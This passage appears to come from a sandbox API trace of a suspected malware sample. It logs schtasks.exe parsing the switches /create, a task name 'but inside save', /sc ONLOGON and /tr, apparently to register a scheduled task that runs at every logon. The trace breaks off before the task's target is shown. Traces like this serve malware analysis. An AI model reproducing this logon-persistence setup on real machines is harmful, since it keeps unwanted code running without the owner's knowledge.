6 [0132.014] lstrlenW (lpString="create") returned 6 [0132.014] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.014] lstrlenW (lpString="tn") returned 2 [0132.014] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.014] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.014] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.014] lstrlenW (lpString="|create|") returned 8 [0132.014] lstrlenW (lpString="|tn|") returned 4 [0132.014] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0132.015] SetLastError (dwErrCode=0x490) [0132.015] lstrlenW (lpString="?") returned 1 [0132.015] lstrlenW (lpString="?") returned 1 [0132.015] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.015] lstrlenW (lpString="tn") returned 2 [0132.015] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.015] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|?|") returned 3 [0132.015] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.015] lstrlenW (lpString="|?|") returned 3 [0132.015] lstrlenW (lpString="|tn|") returned 4 [0132.015] SetLastError (dwErrCode=0x490) [0132.015] lstrlenW (lpString="s") returned 1 [0132.015] lstrlenW (lpString="s") returned 1 [0132.015] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.015] lstrlenW (lpString="tn") returned 2 [0132.015] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.015] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|s|") returned 3 [0132.015] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.015] lstrlenW (lpString="|s|") returned 3 [0132.015] lstrlenW (lpString="|tn|") returned 4 [0132.015] SetLastError (dwErrCode=0x490) [0132.015] lstrlenW (lpString="u") returned 1 [0132.015] lstrlenW (lpString="u") returned 1 [0132.015] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] lstrlenW (lpString="tn") returned 2 [0132.016] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|u|") returned 3 [0132.016] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.016] lstrlenW (lpString="|u|") returned 3 [0132.016] lstrlenW (lpString="|tn|") returned 4 [0132.016] SetLastError (dwErrCode=0x490) [0132.016] lstrlenW (lpString="p") returned 1 [0132.016] lstrlenW (lpString="p") returned 1 [0132.016] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] lstrlenW (lpString="tn") returned 2 [0132.016] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|p|") returned 3 [0132.016] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.016] lstrlenW (lpString="|p|") returned 3 [0132.016] lstrlenW (lpString="|tn|") returned 4 [0132.016] SetLastError (dwErrCode=0x490) [0132.016] lstrlenW (lpString="ru") returned 2 [0132.016] lstrlenW (lpString="ru") returned 2 [0132.016] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] lstrlenW (lpString="tn") returned 2 [0132.016] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.016] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ru|") returned 4 [0132.016] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.016] lstrlenW (lpString="|ru|") returned 4 [0132.016] lstrlenW (lpString="|tn|") returned 4 [0132.017] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0132.017] SetLastError (dwErrCode=0x490) [0132.017] lstrlenW (lpString="rp") returned 2 [0132.017] lstrlenW (lpString="rp") returned 2 [0132.017] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.017] lstrlenW (lpString="tn") returned 2 [0132.017] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.017] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rp|") returned 4 [0132.017] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.017] lstrlenW (lpString="|rp|") returned 4 [0132.017] lstrlenW (lpString="|tn|") returned 4 [0132.017] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0132.017] SetLastError (dwErrCode=0x490) [0132.017] lstrlenW (lpString="sc") returned 2 [0132.017] lstrlenW (lpString="sc") returned 2 [0132.017] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.017] lstrlenW (lpString="tn") returned 2 [0132.017] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.017] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.017] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.017] lstrlenW (lpString="|sc|") returned 4 [0132.017] lstrlenW (lpString="|tn|") returned 4 [0132.017] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0132.017] SetLastError (dwErrCode=0x490) [0132.017] lstrlenW (lpString="mo") returned 2 [0132.017] lstrlenW (lpString="mo") returned 2 [0132.018] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] lstrlenW (lpString="tn") returned 2 [0132.018] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|mo|") returned 4 [0132.018] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.018] lstrlenW (lpString="|mo|") returned 4 [0132.018] lstrlenW (lpString="|tn|") returned 4 [0132.018] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0132.018] SetLastError (dwErrCode=0x490) [0132.018] lstrlenW (lpString="d") returned 1 [0132.018] lstrlenW (lpString="d") returned 1 [0132.018] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] lstrlenW (lpString="tn") returned 2 [0132.018] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|d|") returned 3 [0132.018] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.018] lstrlenW (lpString="|d|") returned 3 [0132.018] lstrlenW (lpString="|tn|") returned 4 [0132.018] SetLastError (dwErrCode=0x490) [0132.018] lstrlenW (lpString="m") returned 1 [0132.018] lstrlenW (lpString="m") returned 1 [0132.018] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] lstrlenW (lpString="tn") returned 2 [0132.018] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.018] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|m|") returned 3 [0132.018] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.019] lstrlenW (lpString="|m|") returned 3 [0132.019] lstrlenW (lpString="|tn|") returned 4 [0132.019] SetLastError (dwErrCode=0x490) [0132.019] lstrlenW (lpString="i") returned 1 [0132.019] lstrlenW (lpString="i") returned 1 [0132.019] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.019] lstrlenW (lpString="tn") returned 2 [0132.019] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.019] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|i|") returned 3 [0132.019] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.019] lstrlenW (lpString="|i|") returned 3 [0132.019] lstrlenW (lpString="|tn|") returned 4 [0132.019] SetLastError (dwErrCode=0x490) [0132.019] lstrlenW (lpString="tn") returned 2 [0132.019] lstrlenW (lpString="tn") returned 2 [0132.019] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.019] lstrlenW (lpString="tn") returned 2 [0132.019] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.019] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.019] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.019] lstrlenW (lpString="|tn|") returned 4 [0132.019] lstrlenW (lpString="|tn|") returned 4 [0132.019] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0132.019] SetLastError (dwErrCode=0x0) [0132.019] SetLastError (dwErrCode=0x0) [0132.019] lstrlenW (lpString="but inside save") returned 15 [0132.020] lstrlenW (lpString="-/") returned 2 [0132.020] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0132.020] SetLastError (dwErrCode=0x490) [0132.020] SetLastError (dwErrCode=0x490) [0132.020] SetLastError (dwErrCode=0x0) [0132.020] lstrlenW (lpString="but inside save") returned 15 [0132.020] StrChrIW (lpStart="but inside save", wMatch=0x3a) returned 0x0 [0132.020] SetLastError (dwErrCode=0x490) [0132.020] SetLastError (dwErrCode=0x0) [0132.020] lstrlenW (lpString="but inside save") returned 15 [0132.020] SetLastError (dwErrCode=0x0) [0132.020] SetLastError (dwErrCode=0x0) [0132.020] lstrlenW (lpString="/sc") returned 3 [0132.020] lstrlenW (lpString="-/") returned 2 [0132.020] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.020] lstrlenW (lpString="create") returned 6 [0132.020] lstrlenW (lpString="create") returned 6 [0132.020] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.020] lstrlenW (lpString="sc") returned 2 [0132.020] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.020] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.020] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.020] lstrlenW (lpString="|create|") returned 8 [0132.020] lstrlenW (lpString="|sc|") returned 4 [0132.020] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0132.020] SetLastError (dwErrCode=0x490) [0132.020] lstrlenW (lpString="?") returned 1 [0132.020] lstrlenW (lpString="?") returned 1 [0132.021] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] lstrlenW (lpString="sc") returned 2 [0132.021] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|?|") returned 3 [0132.021] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.021] lstrlenW (lpString="|?|") returned 3 [0132.021] lstrlenW (lpString="|sc|") returned 4 [0132.021] SetLastError (dwErrCode=0x490) [0132.021] lstrlenW (lpString="s") returned 1 [0132.021] lstrlenW (lpString="s") returned 1 [0132.021] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] lstrlenW (lpString="sc") returned 2 [0132.021] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|s|") returned 3 [0132.021] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.021] lstrlenW (lpString="|s|") returned 3 [0132.021] lstrlenW (lpString="|sc|") returned 4 [0132.021] SetLastError (dwErrCode=0x490) [0132.021] lstrlenW (lpString="u") returned 1 [0132.021] lstrlenW (lpString="u") returned 1 [0132.021] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] lstrlenW (lpString="sc") returned 2 [0132.021] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.021] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|u|") returned 3 [0132.022] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.022] lstrlenW (lpString="|u|") returned 3 [0132.022] lstrlenW (lpString="|sc|") returned 4 [0132.022] SetLastError (dwErrCode=0x490) [0132.022] lstrlenW (lpString="p") returned 1 [0132.022] lstrlenW (lpString="p") returned 1 [0132.022] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.022] lstrlenW (lpString="sc") returned 2 [0132.022] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.022] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|p|") returned 3 [0132.022] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.022] lstrlenW (lpString="|p|") returned 3 [0132.022] lstrlenW (lpString="|sc|") returned 4 [0132.022] SetLastError (dwErrCode=0x490) [0132.022] lstrlenW (lpString="ru") returned 2 [0132.022] lstrlenW (lpString="ru") returned 2 [0132.022] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.022] lstrlenW (lpString="sc") returned 2 [0132.022] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.022] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ru|") returned 4 [0132.022] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.022] lstrlenW (lpString="|ru|") returned 4 [0132.022] lstrlenW (lpString="|sc|") returned 4 [0132.022] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0132.022] SetLastError (dwErrCode=0x490) [0132.022] lstrlenW (lpString="rp") returned 2 [0132.023] lstrlenW (lpString="rp") returned 2 [0132.023] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.023] lstrlenW (lpString="sc") returned 2 [0132.023] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.023] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rp|") returned 4 [0132.023] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.023] lstrlenW (lpString="|rp|") returned 4 [0132.023] lstrlenW (lpString="|sc|") returned 4 [0132.023] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0132.023] SetLastError (dwErrCode=0x490) [0132.023] lstrlenW (lpString="sc") returned 2 [0132.023] lstrlenW (lpString="sc") returned 2 [0132.023] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.023] lstrlenW (lpString="sc") returned 2 [0132.023] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.023] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.023] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.023] lstrlenW (lpString="|sc|") returned 4 [0132.023] lstrlenW (lpString="|sc|") returned 4 [0132.023] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0132.023] SetLastError (dwErrCode=0x0) [0132.023] SetLastError (dwErrCode=0x0) [0132.023] lstrlenW (lpString="ONLOGON") returned 7 [0132.023] lstrlenW (lpString="-/") returned 2 [0132.023] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0132.023] SetLastError (dwErrCode=0x490) [0132.023] SetLastError (dwErrCode=0x490) [0132.023] SetLastError (dwErrCode=0x0) [0132.024] lstrlenW (lpString="ONLOGON") returned 7 [0132.024] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0132.024] SetLastError (dwErrCode=0x490) [0132.024] SetLastError (dwErrCode=0x0) [0132.024] GetProcessHeap () returned 0x3d0000 [0132.024] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ed560 [0132.024] _memicmp (_Buf1=0x3ed560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.024] lstrlenW (lpString="ONLOGON") returned 7 [0132.024] GetProcessHeap () returned 0x3d0000 [0132.024] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed580 [0132.024] lstrlenW (lpString="ONLOGON") returned 7 [0132.024] lstrlenW (lpString=" \x09") returned 2 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0132.024] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0132.024] GetLastError () returned 0x0 [0132.024] lstrlenW (lpString="ONLOGON") returned 7 [0132.024] lstrlenW (lpString="ONLOGON") returned 7 [0132.024] SetLastError (dwErrCode=0x0) [0132.024] SetLastError (dwErrCode=0x0) [0132.024] lstrlenW (lpString="/tr") returned 3 [0132.024] lstrlenW (lpString="-/") returned 2 [0132.024] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.025] lstrlenW (lpString="create") returned 6 [0132.025] lstrlenW (lpString="create") returned 6 [0132.025] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.025] lstrlenW (lpString="tr") returned 2 [0132.025] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.025] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.025] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.025] lstrlenW (lpString="|create|") returned 8 [0132.025] lstrlenW (lpString="|tr|") returned 4 [0132.025] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0132.025] SetLastError (dwErrCode=0x490) [0132.025] lstrlenW (lpString="?") returned 1 [0132.025] lstrlenW (lpString="?") returned 1 [0132.025] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.025] lstrlenW (lpString="tr") returned 2 [0132.025] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.025] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|?|") returned 3 [0132.025] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.025] lstrlenW (lpString="|?|") returned 3 [0132.025] lstrlenW (lpString="|tr|") returned 4 [0132.025] SetLastError (dwErrCode=0x490) [0132.025] lstrlenW (lpString="s") returned 1 [0132.025] lstrlenW (lpString="s") returned 1 [0132.025] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.025] lstrlenW (lpString="tr") returned 2 [0132.026] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.026] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|s|") returned 3 [0132.026] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.026] lstrlenW (lpString="|s|") returned 3 [0132.026] lstrlenW (lpString="|tr|") returned 4 [0132.026] SetLastError (dwErrCode=0x490) [0132.026] lstrlenW (lpString="u") returned 1 [0132.026] lstrlenW (lpString="u") returned 1 [0132.026] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.026] lstrlenW (lpString="tr") returned 2 [0132.026] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.026] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|u|") returned 3 [0132.026] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.026] lstrlenW (lpString="|u|") returned 3 [0132.026] lstrlenW (lpString="|tr|") returned 4 [0132.026] SetLastError (dwErrCode=0x490) [0132.026] lstrlenW (lpString="p") returned 1 [0132.026] lstrlenW (lpString="p") returned 1 [0132.026] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.026] lstrlenW (lpString="tr") returned 2 [0132.026] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.026] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|p|") returned 3 [0132.026] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.026] lstrlenW (lpString="|p|") returned 3 [0132.026] lstrlenW (lpString="|tr|") returned 4 [0132.026] SetLastError (dwErrCode=0x490) [0132.027] lstrlenW (lpString="ru") returned 2 [0132.027] lstrlenW (lpString="ru") returned 2 [0132.027] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.027] lstrlenW (lpString="tr") returned 2 [0132.027] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.027] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ru|") returned 4 [0132.027] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.027] lstrlenW (lpString="|ru|") returned 4 [0132.027] lstrlenW (lpString="|tr|") returned 4 [0132.027] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0132.027] SetLastError (dwErrCode=0x490) [0132.027] lstrlenW (lpString="rp") returned 2 [0132.027] lstrlenW (lpString="rp") returned 2 [0132.027] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.027] lstrlenW (lpString="tr") returned 2 [0132.027] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.027] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rp|") returned 4 [0132.027] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.027] lstrlenW (lpString="|rp|") returned 4 [0132.027] lstrlenW (lpString="|tr|") returned 4 [0132.027] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0132.027] SetLastError (dwErrCode=0x490) [0132.027] lstrlenW (lpString="sc") returned 2 [0132.027] lstrlenW (lpString="sc") returned 2 [0132.027] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.027] lstrlenW (lpString="tr") returned 2 [0132.028] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.028] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.028] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.028] lstrlenW (lpString="|sc|") returned 4 [0132.028] lstrlenW (lpString="|tr|") returned 4 [0132.028] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0132.028] SetLastError (dwErrCode=0x490) [0132.028] lstrlenW (lpString="mo") returned 2 [0132.028] lstrlenW (lpString="mo") returned 2 [0132.028] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.028] lstrlenW (lpString="tr") returned 2 [0132.028] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.028] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|mo|") returned 4 [0132.028] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.028] lstrlenW (lpString="|mo|") returned 4 [0132.028] lstrlenW (lpString="|tr|") returned 4 [0132.028] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0132.028] SetLastError (dwErrCode=0x490) [0132.028] lstrlenW (lpString="d") returned 1 [0132.028] lstrlenW (lpString="d") returned 1 [0132.028] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.028] lstrlenW (lpString="tr") returned 2 [0132.028] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.028] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|d|") returned 3 [0132.028] _vsnwprintf (in: _Buffer=0x3ec200, 